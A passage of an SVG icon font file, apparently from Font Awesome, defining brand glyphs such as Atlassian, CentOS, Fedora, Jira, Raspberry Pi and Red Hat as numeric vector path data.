d="M2 70.5996h315.1l59.2002 -102.6h-285.399h-0.0146484c-17.4814 0 -38.0381 12.6787 -45.8857 28.2998zM501.8 98c19 -29.4004 -0.0996094 -55.9004 -2 -59.0996l-40.7002 -70.5l-257.3 447.6h88.4004h0.0117188c17.0596 0 37.3936 -12.2305 45.3877 -27.2998zM275 143.5
h-231l115.5 200z" />
    <glyph glyph-name="atlassian" unicode="&#xf77b;" horiz-adv-x="512" 
d="M152.2 211.6c66.2998 -70.7998 89.0996 -189.3 51.2002 -267.1c-2.40039 -5.2002 -7.60059 -8.5 -13.4004 -8.40039h-175c-11 0 -18.4004 11.7002 -13.4004 21.7002l125.801 251c5.09961 10.5 17.0996 11 24.7998 2.7998zM244.4 439.9
c6.7998 10.8994 20.2998 10.6992 25.5996 0.0996094c5.90039 -11.7002 240.4 -482.3 240.4 -482.3c5 -9.90039 -2.2002 -21.7002 -13.4004 -21.7002h-174.2c-5.7002 0 -10.8994 3.2998 -13.3994 8.40039c-73.5 146.899 -187.301 302.1 -65 495.5z" />
    <glyph glyph-name="canadian-maple-leaf" unicode="&#xf785;" horiz-adv-x="512" 
d="M383.8 96.2998c-5 -5 -10 -7.5 -5 -22.5s10 -35.0996 10 -35.0996s-95.2002 20.0996 -105.2 22.5996c-8.89941 0.900391 -18.3994 -2.39941 -18.3994 -12.5c0 -10.0996 5.7998 -112.8 5.7998 -112.8h-30s5.7998 102.8 5.7998 112.8s-9.59961 13.4004 -18.2998 12.5
c-10.0996 -2.5 -105.3 -22.5996 -105.3 -22.5996s5 20.0996 10.0996 35.0996c4.90039 15 0 17.5 -5.09961 22.5c-2.60059 2.5 -105.2 92.4004 -105.2 92.4004l17.5 7.59961c10 4.90039 7.40039 11.4004 5 17.4004c-2.5 7.59961 -20.0996 67.2998 -20.0996 67.2998
s47.5996 -10 57.6992 -12.5c7.5 -2.40039 10 2.5 12.5 7.5s15 32.2998 15 32.2998s52.6006 -59.7998 55.1006 -62.2998c10.0996 -7.5 20.0996 0 17.5996 10c0 10 -27.5996 129.6 -27.5996 129.6s30.0996 -17.3994 40.0996 -22.3994c7.60059 -5 12.6006 -5 17.6006 5
c5 7.5 42.5 79.7998 42.5 79.7998s37.5996 -72.2998 42.6992 -79.7998c5 -10 10.1006 -10 17.6006 -5c10 5 40.0996 22.3994 40.0996 22.3994s-27.5996 -119.6 -27.5996 -129.6c-2.5 -10 7.59961 -17.5 17.5996 -10c2.5 2.40039 55.1006 62.2998 55.1006 62.2998
s12.5 -27.3994 15 -32.3994s5 -9.90039 12.5 -7.5c10 2.5 57.6992 12.5 57.6992 12.5s-17.6992 -59.7002 -20.0996 -67.3008c-2.40039 -5.89941 -5 -12.5 5 -17.3994l17.5 -7.5s-102.7 -89.9004 -105.2 -92.4004z" />
    <glyph glyph-name="centos" unicode="&#xf789;" 
d="M289.6 350.5l31.6006 -31.7002l-76.2998 -76.5v108.2h44.6992zM127.2 318.8l31.5996 31.7002h44.7002v-108.2zM168.7 360.4l55.5 55.5996l55.5 -55.5996h-44.7002v-127.9l-10.7998 -10.7998l-10.7998 10.7998v127.9h-44.7002zM194.9 192.3l-10.8008 -10.7998h-128.6
v-44.7998l-55.5 55.5996l55.5 55.6006v-44.8008h128.6zM274.2 213l76.2998 76.5l31.5996 -31.7002v-44.7998h-107.899zM447.5 192.3l-55.5 -55.5996v44.7998h-127.7l-10.7998 10.7998l10.7998 10.7998h127.7v44.8008zM65.4004 271.8v78.7002h79.3994l-31.5996 -31.7002
l90.2998 -90.5v-15.2998h-15.2998l-90.2998 90.5zM382.1 350.5v-78.7002l-31.5996 31.7002l-90.2998 -90.5h-15.2998v15.2998l90.2998 90.5l-31.6006 31.7002h78.5zM203.5 34.0996v-0.0996094h-44.7002l-31.5996 31.7002l76.2998 76.5v-108.101zM65.4004 213v44.7998
l32.5 31.7002l76.2998 -76.5h-108.8zM382.1 112.8v-78.7002h-78.5l31.6006 31.7002l-90.2998 90.5v15.2998h15.2998l90.2998 -90.5zM382.1 171.6v-44.7998l-31.5996 -31.7002l-76.2998 76.5h107.899zM321.2 65.7998l-31.6006 -31.5996h-44.6992v108.1zM97.9004 95.0996
l-32.5 31.7002v44.7998h108.8zM279.7 24.2002l-55.5 -55.6006l-55.5 55.6006h44.7002v127.899l10.7998 10.8008l10.7998 -10.8008v-127.899h44.7002zM113.2 65.7998l31.5996 -31.7002h-79.3994v78.7002l32.5 -31.7002l90.2998 90.5h15.2998v-15.2998z" />
    <glyph glyph-name="confluence" unicode="&#xf78d;" horiz-adv-x="512" 
d="M2.2998 35.7998c42.2998 66.9004 125.2 233.2 373.101 112.601c39.6992 -19.1006 83.6992 -39.9004 105.899 -50.3008c8 -3.69922 11.7002 -13.1992 8.10059 -21.2998l-50.4004 -114.1c-0.0996094 -0.100586 -0.0996094 -0.299805 -0.200195 -0.400391
c-3.89941 -8.09961 -13.5996 -11.5996 -21.7002 -7.7002c-200.399 95.2002 -213.8 111.5 -280.899 -0.699219c0 0 -0.100586 -0.100586 -0.100586 -0.200195c-4.69922 -7.7002 -14.6992 -10 -22.3994 -5.2998l-105.9 65.1992c-7.59961 4.7002 -10 14.6006 -5.5 22.2002z
M509.7 347.9c-42.6006 -67.5 -125.4 -232.9 -373.4 -112.9c-39.7002 19.2002 -83.7998 40 -106 50.4004c-8 3.69922 -11.7002 13.1992 -8.09961 21.2998l50.5 114.1c0.0996094 0.100586 0.0996094 0.299805 0.200195 0.400391
c3.89941 8.09961 13.5996 11.5996 21.6992 7.7002c199.5 -94.7002 213.301 -111.7 280.601 0.899414c0.200195 0.400391 0.399414 0.700195 0.599609 1c5 7.5 15.1006 9.40039 22.6006 4.40039l105.8 -65.1006c7.59961 -4.69922 10 -14.5996 5.5 -22.1992z" />
    <glyph glyph-name="dhl" unicode="&#xf790;" horiz-adv-x="640" 
d="M238 146.8l22.2998 30.2002h58.7002l-22.2998 -30.2002h-58.7002zM0 165.1h86.5l-4.7002 -6.39941h-81.7998v6.39941zM172.9 177h68.1992c-5.69922 -7.7998 -24.0996 -30.2998 -57.1992 -30.2998h-100.101l41.1006 55.7998h51c5.59961 0 5.59961 -2.2002 2.7998 -5.90039
c-2.7998 -3.69922 -7.60059 -10.2998 -10.4004 -14.0996c-1.39941 -1.90039 -4.09961 -5.5 4.60059 -5.5zM490.4 183.9h-62.2002l39.2998 53.3994h62.2002zM95.2998 177l-4.7002 -6.40039h-90.5996v6.40039h95.2998zM206.3 203.6
c2.7998 3.7002 2.90039 5.90039 -2.7002 5.90039h-111.399l20.3994 27.7998h117.9c29.9004 0 37.5996 -23.5996 29.2002 -35c-6.2002 -8.39941 -13.5 -18.3994 -13.5 -18.3994h-45.6006c-8.69922 0 -6 3.5 -4.59961 5.5c2.7998 3.7998 7.5 10.3994 10.2998 14.1992zM0 146.8
v6.40039h77.7998l-4.7002 -6.40039h-73.0996zM323 146.8c0 0 22.2002 30.2002 22.2998 30.2002h58.7002l-22.2998 -30.2002h-58.7002zM545 146.7l4.7002 6.39941h90.2998v-6.39941h-95zM567.3 177h72.7002v-6.40039h-77.4004zM553.8 158.7l4.7002 6.39941h81.5v-6.39941
h-86.2002zM389.6 237.3h58.7002l-39.2998 -53.3994h-143.6l39.2998 53.3994h58.7002l-22.5 -30.5996h26.1992zM423.1 177h133.4l-22.2998 -30.2998h-94.2998c-24.1006 0 -30.6006 11.5996 -23.2002 21.5996c2.09961 2.7998 6.39941 8.7002 6.39941 8.7002z" />
    <glyph glyph-name="diaspora" unicode="&#xf791;" horiz-adv-x="512" 
d="M251.64 93.4502c-1.39941 0 -88 -119.9 -88.6992 -119.9c-0.700195 0 -86.6006 60.4502 -86.9404 61.2002s86.5996 125.7 86.5996 127.4c0 2.19922 -129.6 44 -137.6 47.0996c-1.2998 0.5 31.4004 101.8 31.7002 102.1c0.599609 0.700195 144.399 -47 145.5 -47
c0.399414 0 0.899414 0.600586 1 1.30078c0.399414 2 1 148.6 1.7002 149.6c0.799805 1.2002 104.5 0.700195 105.1 0.299805c1.5 -1 3.5 -156.1 6.09961 -156.1c1.40039 0 138.7 47 139.301 46.2998c0.799805 -0.900391 31.8994 -102.2 31.5 -102.6
c-0.900391 -0.900391 -140.2 -47.1006 -140.601 -48.8008c-0.299805 -1.39941 82.7998 -122.1 82.5 -122.899s-85.5 -63.5 -86.2998 -63.5c-1 0.200195 -89 125.5 -90.9004 125.5h0.0400391z" />
    <glyph glyph-name="fedex" unicode="&#xf797;" horiz-adv-x="640" 
d="M586 163.5l54 -60.5h-64.4004l-22.2998 25l-22.0996 -25h-212.2v11.9004h-0.5c-7.90039 -11.7002 -20.7998 -18.6006 -34.9004 -18.6006c-32.6992 0 -56.3994 26.4004 -60.0996 56.9004h-85.5c0 -23.5 31.0996 -35.5 45.7998 -14.6006h42
c-27.5996 -67.6992 -130.2 -49.3994 -130.2 23.7002c0 6.40039 0.800781 12.5 2.30078 18.2002h-48.9004v-77.5h-49v184.4h109v-41.1006h-60v-26.2002h54.7998v-24.1992c24.5 43.5996 103.9 45.3994 121.9 -14c7.5 25.5 28.8994 44.8994 57.2998 44.8994
c13.9004 0 25.7998 -3.7998 35.4004 -14.7998h0.5v75.5h151.199v-48.0996h-56.0996v-16h118.7l22.5 -24.8008l21.7002 24.8008h62.3994zM139.3 180.1h46.5c-4.7998 25.6006 -40.3994 26.3008 -46.5 0zM292.7 131.2c34.5 0 32.5996 62.7998 0 62.7998
c-34 0 -34.6006 -62.7998 0 -62.7998zM460.5 112.1v29.6006h-56.0996v44.7002h56.0996v28.0996h-55.5v33.9004h56.0996v30.1992h-95v-166.5h94.4004zM414.6 151.9h56.1006v-45.6006l50.7002 57l-50.7002 57v-44h-56.1006v-24.3994zM553.2 141.6l26.2998 -29.5h40.5
l-46 51.4004l45.4004 51h-38.5l-25.6006 -29.2998l-26.5996 29.2998h-39.7002l45.5996 -51.2002l-45.5996 -51.2002h38.0996z" />
    <glyph glyph-name="fedora" unicode="&#xf798;" 
d="M225 416c123.7 -0.299805 223.7 -100.9 223.4 -224.6c-0.300781 -123.7 -100.9 -223.7 -224.601 -223.4l-170.2 0.400391v0c-29.5879 0 -53.6006 24.0127 -53.6006 53.5996c0 0.0830078 0.000976562 0.216797 0.000976562 0.299805l0.400391 170.3
c0.399414 123.7 100.899 223.7 224.6 223.4zM394.8 258.8c-0.0771484 6.26953 -1.33203 16.3047 -2.7998 22.4004l-55.2002 56.0996v-1.59961c0 -5.10059 -1.5 -9.60059 -3.7998 -14.2998zM331 353.7c1.65332 -2.31348 3.53516 -6.43555 4.2002 -9.2002l54.2998 -54.5996
c-8.27539 24.8252 -34.4834 53.4082 -58.5 63.7998zM118.1 200.8c-4.54785 -0.369141 -11.8057 -1.66895 -16.1992 -2.89941l8.5 -8.5c1.68457 3.44336 5.13477 8.55078 7.69922 11.3994zM97 196.6c-3.91211 -1.08984 -10.0498 -3.41895 -13.7002 -5.19922l27 -27.2002
c-1.30469 3.32617 -2.37988 8.92676 -2.39941 12.5l0.899414 8zM78.7998 189.2c-3.21484 -1.79492 -8.23242 -5.02051 -11.2002 -7.2002l35.3008 -35.9004c3.70801 1.84668 10.0254 3.95215 14.0996 4.7002zM63.5996 179.4
c-3.06738 -2.29395 -7.5918 -6.50488 -10.0996 -9.40039l34.9004 -34.5996c2.66113 2.6377 7.36523 6.44629 10.5 8.5zM50.2998 167.1c-2.89941 -3.2998 -5.7998 -6.69922 -8.59961 -10.5l35.7998 -35.8994c1.74121 3.40527 5.19141 8.5127 7.7002 11.3994zM39.2998 152.8
c-2.07715 -3.18457 -5.0791 -8.56055 -6.7002 -12l39.5 -39.7998c0.306641 4.3584 1.91895 11.168 3.60059 15.2002zM30.5 136.5c-1.7998 -4.90039 -3.2998 -9.59961 -4.7002 -14.5l52.7002 -53.5c-3.42578 6.82812 -6.42773 18.5654 -6.7002 26.2002zM22.5996 93.5
c0.0380859 -6.14551 1.33789 -15.957 2.90039 -21.9004l55.4004 -55.6992v1.09961c0.0341797 4.18848 1.64746 10.5947 3.59961 14.2998zM27.9004 62.7998c8.29785 -24.8047 34.5059 -53.3867 58.5 -63.7998c-1.61816 2.33008 -3.5 6.45117 -4.2002 9.2002zM22.5996 99.7998
l64.4004 -64.2002c2.30469 2.8877 6.74023 6.78613 9.90039 8.7002l-72.2002 72.5c-1.08105 -4.62988 -2.02148 -12.2461 -2.10059 -17zM275.9 151.6c32.5996 -0.0996094 32.6992 49.2002 0.199219 49.4004l-33.5996 0.0996094
c-4.91309 0.0224609 -8.90039 4.02734 -8.90039 8.94043v0.0595703l0.100586 47c0.0996094 40.5 38.5996 60.8008 66 54.9004c15.3994 -3.90039 30.2998 8.40039 30.2998 23.9004c0 12.0996 -8.7002 22.1992 -19.9004 24
c-5.39062 1.26953 -14.2617 2.30078 -19.8008 2.30078c-0.110352 0 -0.289062 -0.000976562 -0.398438 -0.000976562c-0.116211 0 -0.304688 0.000976562 -0.420898 0.000976562c-57.96 0 -105.081 -47.041 -105.18 -105.001l-0.0996094 -56l-42.6006 0.0996094
c-32.5996 0.100586 -32.6992 -49.2002 -0.0996094 -49.2998l33.5996 -0.0996094c4.40039 0 8.90039 -4.5 8.90039 -9l-0.0996094 -47c-0.00585938 -30.8574 -25.0537 -55.9004 -55.9102 -55.9004h-0.19043c-9.39941 0 -9.39941 1.59961 -15.7002 1.59961
c-13.3691 -0.208008 -24.3457 -11.2295 -24.5 -24.5996c0 -15.5 14.2002 -24.2002 19.9004 -24.2002c61.2998 -12.8994 125.5 33.6006 125.7 102.9l0.0996094 56zM299.4 151.9c4.50781 0.442383 11.7207 1.74219 16.0996 2.89941l-8.5 8.5
c-1.48047 -3.55762 -4.88477 -8.66504 -7.59961 -11.3994zM320.4 156.1c3.9248 1.09082 10.0625 3.46484 13.6992 5.30078l-27 27.1992c1.30566 -3.32617 2.38086 -8.92578 2.40039 -12.5l-0.900391 -8.09961zM338.4 163.5c4 2.2002 8.09961 4.7002 11.8994 7.2002
l-36.2002 35.8994c-4.09961 -2.2998 -8.7998 -3.59961 -13.6992 -4.69922zM353.9 173.3c2.92188 2.33301 7.44727 6.36426 10.0996 9l-34.9004 35c-2.63672 -2.66797 -7.34082 -6.47656 -10.5 -8.5zM367.1 185.6c2.52539 2.77441 6.37793 7.47852 8.60059 10.5
l-35.7998 35.9004c-1.78125 -3.37891 -5.23047 -8.48633 -7.7002 -11.4004zM378.1 199.9c2.10938 3.16602 5.11133 8.54199 6.7002 12l-39.5 39.7998c-0.305664 -4.3584 -1.91895 -11.168 -3.59961 -15.2002zM391.6 230.8l-53.0996 53.4004
c3.69434 -6.76172 6.875 -18.499 7.09961 -26.2002l41.3008 -41.5c1.50879 3.87695 3.61426 10.2832 4.69922 14.2998zM392.6 236.4c1.05957 4.52246 2.08984 11.959 2.30078 16.5996l-64.3008 64.7002c-2.18359 -3.12988 -6.61816 -7.25098 -9.89941 -9.2002z" />
    <glyph glyph-name="figma" unicode="&#xf799;" horiz-adv-x="384" 
d="M277 277.3h-85.4004v-256c-0.0273438 -47.085 -38.2637 -85.2998 -85.3496 -85.2998c-47.1133 0 -85.3496 38.2363 -85.3496 85.3496s38.2363 85.3506 85.3496 85.3506h0.0498047c-47.1133 0 -85.3496 38.2363 -85.3496 85.3496s38.2363 85.3506 85.3496 85.3506
c-47.085 0 -85.2998 38.2139 -85.2998 85.2998c0 47.085 38.2148 85.2998 85.2998 85.2998h170.7c47.1133 0 85.3496 -38.2363 85.3496 -85.3496s-38.2363 -85.3506 -85.3496 -85.3506zM277 277.3c47.0801 -0.00488281 85.2949 -38.2197 85.2998 -85.2998
c0 -47.0859 -38.2139 -85.2998 -85.2998 -85.2998s-85.2998 38.2139 -85.2998 85.2998s38.2139 85.2998 85.2998 85.2998z" />
    <glyph glyph-name="intercom" unicode="&#xf7af;" 
d="M392 416c30.9004 0 56 -25.0996 56 -56v-336c0 -30.9004 -25.0996 -56 -56 -56h-336c-30.9004 0 -56 25.0996 -56 56v336c0 30.9004 25.0996 56 56 56h336zM283.7 333.9v-199.5c0 -19.8008 29.8994 -19.8008 29.8994 0v199.5c0 19.7998 -29.8994 19.7998 -29.8994 0z
M209.1 341.4v-216.5c0 -19.8008 29.9004 -19.8008 29.9004 0v216.5c0 19.7998 -29.9004 19.7998 -29.9004 0zM134.4 333.9v-199.5c0 -19.8008 29.8994 -19.8008 29.8994 0v199.5c0 19.7998 -29.8994 19.7998 -29.8994 0zM59.7002 304v-134.3
c0 -19.7998 29.8994 -19.7998 29.8994 0v134.3c0 19.7998 -29.8994 19.7998 -29.8994 0zM383.1 76.2002c14.9004 12.8994 -4.5 35.5996 -19.3994 22.7002c-63.2002 -53.9004 -213.4 -55.3008 -279.3 0c-15 12.7998 -34.4004 -9.90039 -19.4004 -22.7002
c76.4004 -65.4004 245.3 -63 318.1 0zM388.3 169.7v134.3c0 19.7998 -29.8994 19.7998 -29.8994 0v-134.3c0 -19.7998 29.8994 -19.7998 29.8994 0z" />
    <glyph glyph-name="invision" unicode="&#xf7b0;" 
d="M407.4 416c22.3994 0 40.5996 -18.2002 40.5996 -40.5996v-366.801c0 -22.3994 -18.2002 -40.5996 -40.5996 -40.5996h-366.801c-22.3994 0 -40.5996 18.2002 -40.5996 40.5996v366.801c0 22.3994 18.2002 40.5996 40.5996 40.5996h366.801zM176.1 302.4
c-0.599609 35.0996 -53.5996 34.7998 -53.6992 -0.400391c0 -15 12.1992 -27 27.0996 -27c4.2002 0.0996094 27 4 26.5996 27.4004zM332.8 71c23.7998 0 42.7002 15.2998 53.2002 52l-17.9004 6.7002c-14.2998 -39.5 -31.7998 -32.4004 -31.7998 -16.9004
c0.299805 8.10059 0.700195 7.7002 14.9004 58.7998c26.0996 85.8008 -61.2998 113.5 -101.8 38l8.89941 40.5h-68.7998l-9.7002 -35.5996h32.2998l-19.7998 -79.4004c-16.5 -36.6992 -57.3994 -44.0996 -57.3994 -23.1992c0.299805 11.2998 -0.700195 4.5 32.8994 138.199
h-76.3994l-9.7002 -35.5996h31.7998c-22.0996 -90.0996 -22.9004 -89.7998 -23 -104.1c0 -48.7002 63.0996 -56.1006 94.5996 -4.30078l-8.09961 -32.5h45.0996l25.8008 103.301c14.6992 59.6992 74 47.0996 59.8994 0.699219c-9.09961 -32.5996 -40.5996 -106.6 25 -106.6z
" />
    <glyph glyph-name="jira" unicode="&#xf7b1;" horiz-adv-x="496" 
d="M490 206.3c8 -7.89941 8 -20.7002 0 -28.5996c-225.8 -225 137.9 136.3 -241.5 -241.7c-180.7 180.1 -109.7 109.3 -242.5 241.6c-7.90039 8 -7.90039 20.8008 0 28.7002c0 0 77 76.7998 242.5 241.7c72.0996 -71.7998 168.6 -169 241.5 -241.7zM248.5 116.3l76 75.7002
l-76 75.7002l-76 -75.7002z" />
    <glyph glyph-name="mendeley" unicode="&#xf7b3;" horiz-adv-x="640" 
d="M624.6 122.8c23.1006 -22.7002 17.8008 -73.5 0 -88.2998c-36.1992 -38.9004 -100 -18.2002 -104.899 35.2002c-1 11.7002 1.09961 23 5.7002 33c47.2998 103.7 -185.9 106.1 -146.5 8.2002c0.0996094 -0.100586 0.199219 -0.200195 0.299805 -0.400391
c26.5996 -42.5996 -6.7002 -97.2998 -58.7998 -95.2002c-52 -2.2002 -85.6006 52.4004 -58.8008 95.2002c0.100586 0.200195 0.200195 0.299805 0.300781 0.400391c39.3994 97.8994 -193.801 95.5 -146.5 -8.2002c20.3994 -44.9004 -14.1006 -93.7002 -61.2002 -87.7998
c-61.9004 7.7998 -62.5 82.8994 -42.6006 102.6c16 16 31.8008 24.7998 53 22.5c43.3008 1 49.7002 34.9004 37.5 98.7998c-22.6992 57.5 14.5 131.601 87.4004 130.8c76.9004 -0.699219 82.7998 -82 130.9 -82c49.1992 0 53.5 81.3008 130.899 82
c72.5 0.700195 110.2 -73.2998 87.4004 -130.8c-12.2002 -63.8994 -5.7998 -97.7998 37.5 -98.7998c18.7002 2 36.0996 -4.7998 48.3994 -17.2002zM320.7 141.9c43.5996 0 62.7998 37.7998 62.7998 62.7998c0 34.7002 -28.0996 62.7998 -62.7998 62.7998h-0.600586
c-34.5996 0 -62.7998 -28.0996 -62.7998 -62.7998c0 -25.2998 19.4004 -62.7998 62.7998 -62.7998h0.600586z" />
    <glyph glyph-name="raspberry-pi" unicode="&#xf7bb;" horiz-adv-x="407" 
d="M372 215.5c28.7002 -17.2002 54.5996 -72.5996 14 -117.7c-2.59961 -14.0996 -7.09961 -24.2002 -11 -35.3994c-5.90039 -45.2002 -44.4004 -66.3008 -54.5996 -68.8008c-14.9004 -11.1992 -30.7002 -21.7998 -52.2002 -29.1992
c-20.2002 -20.6006 -42.1006 -28.4004 -64.2002 -28.4004h-1c-22 0 -44 7.7998 -64.2998 28.4004c-21.4004 7.39941 -37.2998 18 -52.2002 29.1992c-10.0996 2.5 -48.7002 23.6006 -54.5996 68.8008c-3.90039 11.1992 -8.40039 21.2998 -11 35.3994
c-40.5 45 -14.6006 100.5 14.1992 117.7l3.7002 6.5c-0.0996094 46.4004 21.4004 65.2998 46.5 79.7002c-7.59961 2 -15.3994 3.7002 -17.5996 13.2002c-13.1006 3.39941 -15.7998 9.39941 -17.1006 15.7998c-3.39941 2.2998 -14.7998 8.7002 -13.5996 19.7002
c-6.2998 4.39941 -9.90039 10.0996 -8.09961 18.0996c-6.90039 7.5 -8.7002 13.7002 -5.80078 19.4004c-8.2998 10.1992 -4.59961 15.5 -1.09961 20.8994c-6.2002 11.2002 -0.799805 23.2002 16.5 21.2002c6.90039 10.0996 21.9004 7.7998 24.2002 7.7998
c2.5 3.2998 6 6 16.5 4.7002c6.7998 6.09961 14.3994 5.09961 22.2998 2.09961c3.2002 2.5 6.09961 3.40039 8.7002 3.5c5 0.100586 9.2998 -2.89941 13.8994 -4.2998c11.3008 3.60059 13.8008 -1.39941 19.4004 -3.39941c12.2998 2.59961 16.0996 -3 22 -8.90039
l6.90039 0.0996094c18.5996 -10.7998 27.7998 -32.7998 31.0996 -44.0996c3.2998 11.2998 12.5 33.2998 31.0996 44.0996l6.90039 -0.0996094c5.90039 5.90039 9.7002 11.5 22 8.90039c5.5 2.09961 8.09961 7 19.4004 3.39941
c7.09961 2.2002 13.2998 8.10059 22.5996 0.799805c7.90039 2.90039 15.5 4 22.2998 -2.09961c10.5 1.2998 13.9004 -1.5 16.5 -4.7002c2.2998 0 17.2998 2.2998 24.2002 -7.7998c17.2998 2 22.7998 -10 16.5996 -21.2002c3.5 -5.2998 7.2002 -10.5996 -1.09961 -20.8994
c2.90039 -5.7002 1.09961 -11.9004 -5.7998 -19.4004c1.89941 -8 -1.7002 -13.7002 -8.10059 -18.0996c1.2002 -11 -10.1992 -17.4004 -13.5996 -19.7002c-1.2998 -6.40039 -4 -12.5 -17.0996 -15.7998c-2.2002 -9.60059 -10 -11.2002 -17.6006 -13.2002
c25.1006 -14.4004 46.6006 -33.2998 46.5 -79.7002zM349.8 223.5c1.5 48.7002 -36.3994 75.4004 -82.0996 67.9004c-16.7998 -2.80078 80.5996 -86.6006 82.0996 -67.9004zM306.8 130.4c24.5 15.7998 28.9004 51.5996 9.90039 80
c-19 28.3994 -54.2998 38.5996 -78.7998 22.7998s-28.9004 -51.6006 -9.90039 -80c19 -28.4004 54.2998 -38.6006 78.7998 -22.7998zM238.9 418.7c-16.6006 -15.9004 -40.1006 -55.9004 -5.80078 -71.7998c29 23.5 63.6006 40.6992 102 53.5
c-49.2998 -25.1006 -78 -45.3008 -93.6992 -62.6006c8.09961 -31.7002 50 -33.2002 65.3994 -32.2998c-3.09961 1.40039 -5.7998 3.09961 -6.7002 5.7998c3.80078 2.7002 17.5 0.299805 27 5.60059c-3.69922 0.699219 -5.39941 1.39941 -7.09961 4.09961
c9 2.90039 18.7002 5.2998 24.4004 10c-3.10059 0 -6 -0.599609 -10 2.09961c8.09961 4.30078 16.6992 7.7002 23.3994 14.2002c-4.2002 0.100586 -8.7002 0.100586 -10 1.60059c7.40039 4.5 13.6006 9.5 18.7998 15c-5.7998 -0.700195 -8.2998 -0.100586 -9.69922 0.899414
c5.59961 5.60059 12.5996 10.4004 16 17.2998c-4.40039 -1.5 -8.30078 -2.09961 -11.2002 0.100586c1.89941 4.2998 10 6.7002 14.7002 16.5996c-4.60059 -0.399414 -9.40039 -1 -10.4004 0c2.09961 8.5 5.7002 13.2002 9.2998 18.2002
c-9.7998 0.200195 -24.5996 0 -23.8994 0.799805l6 6.10059c-9.5 2.5 -19.3008 -0.400391 -26.4004 -2.60059c-3.2002 2.5 0 5.60059 3.90039 8.7998c-8.10059 -1 -15.5 -2.89941 -22.1006 -5.39941c-3.59961 3.09961 2.2998 6.2998 5.10059 9.39941
c-12.5 -2.2998 -17.8008 -5.59961 -23.1006 -8.89941c-3.7998 3.59961 -0.200195 6.7002 2.40039 9.7998c-9.40039 -3.5 -14.2998 -7.90039 -19.4004 -12.2998c-1.7998 2.2998 -4.39941 4 -1.2002 9.59961c-6.69922 -3.7998 -11.7998 -8.2998 -15.5 -13.2998
c-4.19922 2.59961 -2.5 6.09961 -2.5 9.40039c-7 -5.60059 -11.3994 -11.5 -16.7998 -17.3008c-1.09961 0.800781 -2.09961 3.40039 -2.89941 7.60059zM204.5 304.1c-27.2002 0.700195 -53.4004 -19.8994 -53.4004 -31.7998
c-0.0996094 -14.5996 21.5 -29.3994 53.6006 -29.7998c32.7998 -0.200195 53.7002 11.9004 53.7998 26.9004c0.0996094 16.8994 -29.7998 35 -54 34.6992zM81.5 316.9c9.59961 -5.2002 23.2002 -2.80078 27.2002 -5.60059
c-0.900391 -2.59961 -3.60059 -4.39941 -6.7002 -5.7998c15.4004 -0.900391 57.4004 0.5 65.4004 32.2998c-15.7002 17.2998 -44.4004 37.6006 -93.7002 62.6006c38.3994 -12.8008 73 -30 102 -53.5c34.0996 15.8994 10.5996 55.8994 -6 71.7998
c-0.900391 -4.2002 -1.7998 -6.7998 -2.90039 -7.60059c-5.39941 5.80078 -9.7998 11.7002 -16.7998 17.3008c0 -3.2002 1.59961 -6.80078 -2.5 -9.40039c-3.7002 5 -8.7998 9.5 -15.5 13.2998c3.2002 -5.59961 0.5 -7.2998 -1.2002 -9.59961
c-5.09961 4.39941 -10 8.89941 -19.3994 12.2998c2.59961 -3.09961 6.19922 -6.2002 2.39941 -9.7998c-5.2998 3.2998 -10.5996 6.59961 -23.0996 8.89941c2.7998 -3.09961 8.59961 -6.2998 5.09961 -9.39941c-6.7002 2.5 -14 4.2998 -22.0996 5.39941
c3.7998 -3.19922 7.09961 -6.2998 3.89941 -8.7998c-7.09961 2.2002 -16.8994 5.10059 -26.3994 2.60059l6 -6.10059c0.700195 -0.799805 -14.1006 -0.700195 -23.9004 -0.799805c3.5 -4.90039 7.2002 -9.7002 9.2998 -18.2002c-1 -1 -5.7998 -0.399414 -10.3994 0
c4.7002 -9.89941 12.7998 -12.3994 14.7002 -16.5996c-2.90039 -2.10059 -6.90039 -1.60059 -11.2002 -0.100586c3.2998 -6.89941 10.3994 -11.6992 16 -17.2998c-1.40039 -1 -3.90039 -1.59961 -9.7002 -0.899414c5.2002 -5.5 11.4004 -10.5 18.7998 -15
c-1.2998 -1.60059 -5.7998 -1.5 -10 -1.60059c6.7002 -6.5 15.2998 -9.89941 23.4004 -14.2002c-4 -2.7998 -6.90039 -2.09961 -10 -2.09961c5.7002 -4.7002 15.3994 -7.2002 24.3994 -10c-1.69922 -2.59961 -3.39941 -3.40039 -7.09961 -4.09961zM141.6 292.8
c-45.5996 7.60059 -83.5996 -19.2002 -82.0996 -67.8994c1.5 -18.6006 98.9004 65.0996 82.0996 67.8994zM38.2002 106c21.5996 -9.5 39.0996 105.3 12.5996 98.2998c-43.8994 -24.5996 -36.2998 -79.5 -12.5996 -98.2998zM129.2 7.7998
c14.0996 10.4004 6.39941 45.7002 -10.5 65.7002c-19.4004 22.2002 -44.6006 35.4004 -60.9004 25.5996c-10.8994 -8.19922 -12.8994 -36 2.60059 -63.3994c23 -32.6006 55.5 -35.7998 68.7998 -27.9004zM102.8 127.5c24.4004 -15.7998 59.7002 -5.59961 78.7998 22.7998
c19 28.4004 14.6006 64.2002 -9.89941 80s-59.7998 5.60059 -78.7998 -22.7998s-14.6006 -64.2002 9.89941 -80zM205 -48c28.4004 -0.5 57.7002 24.4004 57.2002 35.4004c-0.100586 11.3994 -32 19.8994 -55.7002 18.8994c-23.5 0.600586 -59.7002 -9.2998 -59.2998 -22
c-0.400391 -8.59961 28.3994 -33.5 57.7998 -32.2998zM263.9 76.9004v0.599609c-0.200195 29.5996 -26.8008 53.5996 -59.4004 53.4004c-32.5996 -0.200195 -59 -24.3008 -58.7998 -54v-0.600586c0.200195 -29.5996 26.7998 -53.5996 59.3994 -53.3994
c32.6006 0.199219 59 24.2998 58.8008 54zM346.1 34.2002c18.4004 23.2002 12.2002 62 1.7002 72.2998c-15.5996 11.9004 -38 -3.2998 -58.8994 -26.5996c-18.3008 -21.1006 -28.4004 -59.6006 -15.1006 -72c12.7002 -9.60059 47 -8.30078 72.2998 26.2998zM369 107.4
c23.7002 18.6992 31.2998 73.5996 -12.5996 98.2998c-26.4004 7 -8.90039 -107.7 12.5996 -98.2998z" />
    <glyph glyph-name="redhat" unicode="&#xf7bc;" horiz-adv-x="512" 
d="M341.52 162.59v-0.149414c33.6504 0 82.3408 6.93945 82.3408 47c0.219727 6.73926 0.859375 1.81934 -20.8799 96.2393c-4.62012 19.1504 -8.68066 27.8398 -42.3105 44.6504c-26.0898 13.3398 -82.9199 35.3701 -99.7295 35.3701
